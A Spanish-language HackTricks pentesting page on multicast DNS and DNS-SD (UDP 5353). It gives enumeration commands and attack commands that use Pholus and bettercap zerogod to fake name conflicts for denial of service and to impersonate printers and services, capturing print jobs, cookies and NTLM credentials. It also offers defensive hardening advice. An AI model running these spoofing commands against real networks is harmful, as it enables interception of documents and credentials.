5353/UDP Multicast DNS (mDNS) y DNS-SD
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Multicast DNS (mDNS) permite la resolución de nombres y el descubrimiento de servicios similar a DNS dentro de un enlace local sin un servidor DNS unicast. Utiliza UDP/5353 y las direcciones multicast 224.0.0.251 (IPv4) y FF02::FB (IPv6). DNS Service Discovery (DNS-SD, típicamente utilizado con mDNS) proporciona una forma estandarizada de enumerar y describir servicios a través de registros PTR, SRV y TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Detalles clave del protocolo que a menudo aprovecharás durante los ataques:
- Los nombres en la zona .local se resuelven a través de mDNS.
- El bit QU (Query Unicast) puede solicitar respuestas unicast incluso para preguntas multicast.
- Las implementaciones deben ignorar paquetes que no provengan del enlace local; algunas pilas aún los aceptan.
- La sondeo/anuncio refuerza nombres de host/servicio únicos; interferir aquí crea condiciones de DoS/"name squatting".
Modelo de servicio DNS-SD
Los servicios se identifican como _
Exploración y enumeración de red
- escaneo de objetivo nmap (mDNS directo en un host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- descubrimiento por broadcast nmap (escuchar el segmento y enumerar todos los tipos/instancias de DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Listar tipos de servicio
avahi-browse -bt _services._dns-sd._udp
# Navegar todos los servicios y resolver a host/puerto
avahi-browse -art
- Apple dns-sd (macOS):
# Navegar todos los servicios HTTP
dns-sd -B _http._tcp
# Enumerar tipos de servicio
dns-sd -B _services._dns-sd._udp
# Resolver una instancia específica a SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Captura de paquetes con tshark:
# Captura en vivo
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Solo consultas de lista de servicios DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Consejo: Algunos navegadores/WebRTC utilizan nombres de host mDNS efímeros para enmascarar IPs locales. Si ves candidatos random-UUID.local en la red, resuélvelos con mDNS para pivotar a IPs locales.
Ataques
Interferencia de sondeo de nombres mDNS (DoS / name squatting)
Durante la fase de sondeo, un host verifica la unicidad del nombre. Responder con conflictos falsificados lo obliga a elegir nuevos nombres o fallar. Esto puede retrasar o prevenir el registro y descubrimiento de servicios.
Ejemplo con Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Suplantación de servicios e impersonación (MitM)
Impersonar servicios DNS-SD anunciados (impresoras, AirPlay, HTTP, comparticiones de archivos) para forzar a los clientes a conectarse a ti. Esto es especialmente útil para:
- Capturar documentos suplantando _ipp._tcp o _printer._tcp.
- Atraer a los clientes a servicios HTTP/HTTPS para recolectar tokens/cookies o entregar cargas útiles.
- Combinar con técnicas de retransmisión NTLM cuando los clientes de Windows negocian autenticación a servicios suplantados.
Con el módulo zerogod de bettercap (suplantador/impersonador mDNS/DNS-SD):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
También vea la suplantación genérica de LLMNR/NBNS/mDNS/WPAD y flujos de trabajo de captura/retransmisión de credenciales:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notas sobre problemas de implementación recientes (útil para DoS/persistencia durante compromisos)
- Los errores de afirmación de accesibilidad de Avahi y los errores de bloqueo de D-Bus (2023) pueden terminar con avahi-daemon en distribuciones de Linux (por ejemplo, CVE-2023-38469..38473, CVE-2023-1981), interrumpiendo el descubrimiento de servicios en los hosts objetivo hasta el reinicio.
- La puerta de enlace mDNS del controlador de LAN inalámbrica Cisco IOS XE DoS (2024, CVE-2024-20303) permite a atacantes adyacentes provocar un alto uso de CPU y desconectar APs. Si encuentra una puerta de enlace mDNS entre VLANs, tenga en cuenta su estabilidad bajo mDNS malformado o de alta tasa.
Consideraciones defensivas y OPSEC
- Límites de segmento: No enrute 224.0.0.251/FF02::FB entre zonas de seguridad a menos que se requiera explícitamente una puerta de enlace mDNS. Si debe unir el descubrimiento, prefiera listas de permitidos y límites de tasa.
- Puntos finales/servidores de Windows:
- Para deshabilitar completamente la resolución de nombres a través de mDNS, establezca el valor del registro y reinicie:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- En entornos gestionados, desactive la regla de firewall de Windows Defender “mDNS (UDP-In)” (al menos en el perfil de Dominio) para evitar el procesamiento de mDNS entrante mientras se preserva la funcionalidad de hogar/itinerante.
- En versiones más nuevas de Windows 11/plantillas de GPO, use la política “Configuración del equipo > Plantillas administrativas > Red > Cliente DNS > Configurar el protocolo DNS multicast (mDNS)” y configúrelo en Deshabilitado.
- Linux (Avahi):
- Restringa la publicación cuando no sea necesaria: establezca
disable-publishing=yes
, y restrinja las interfaces conallow-interfaces=
/deny-interfaces=
en/etc/avahi/avahi-daemon.conf
. - Considere
check-response-ttl=yes
y eviteenable-reflector=yes
a menos que sea estrictamente necesario; prefiera listas de permitidosreflect-filters=
al reflejar. - macOS: Restringa el mDNS entrante en firewalls de host/red cuando el descubrimiento Bonjour no sea necesario para subredes específicas.
- Monitoreo: Alerta sobre aumentos inusuales en consultas de
_services._dns-sd._udp.local
o cambios repentinos en SRV/TXT de servicios críticos; estos son indicadores de suplantación o suplantación de servicios.
Referencia rápida de herramientas
- nmap NSE:
dns-service-discovery
ybroadcast-dns-service-discovery
. - Pholus: escaneo activo, barridos de mDNS inversos, ayudantes de DoS y suplantación.
# Sniffing pasivo (segundos de tiempo de espera)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerar tipos de servicio
sudo python3 pholus3.py <iface> -sscan
# Enviar solicitudes mDNS genéricas
sudo python3 pholus3.py <iface> --request
# Barrido mDNS inverso de una subred
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: descubrir, guardar, anunciar y suplantar servicios mDNS/DNS-SD (ver ejemplos arriba).
Suplantación/MitM
El ataque más interesante que puede realizar sobre este servicio es llevar a cabo un MitM en la comunicación entre el cliente y el servidor real. Podría obtener archivos sensibles (MitM la comunicación con la impresora) o incluso credenciales (autenticación de Windows).
Para más información consulte:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Referencias
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.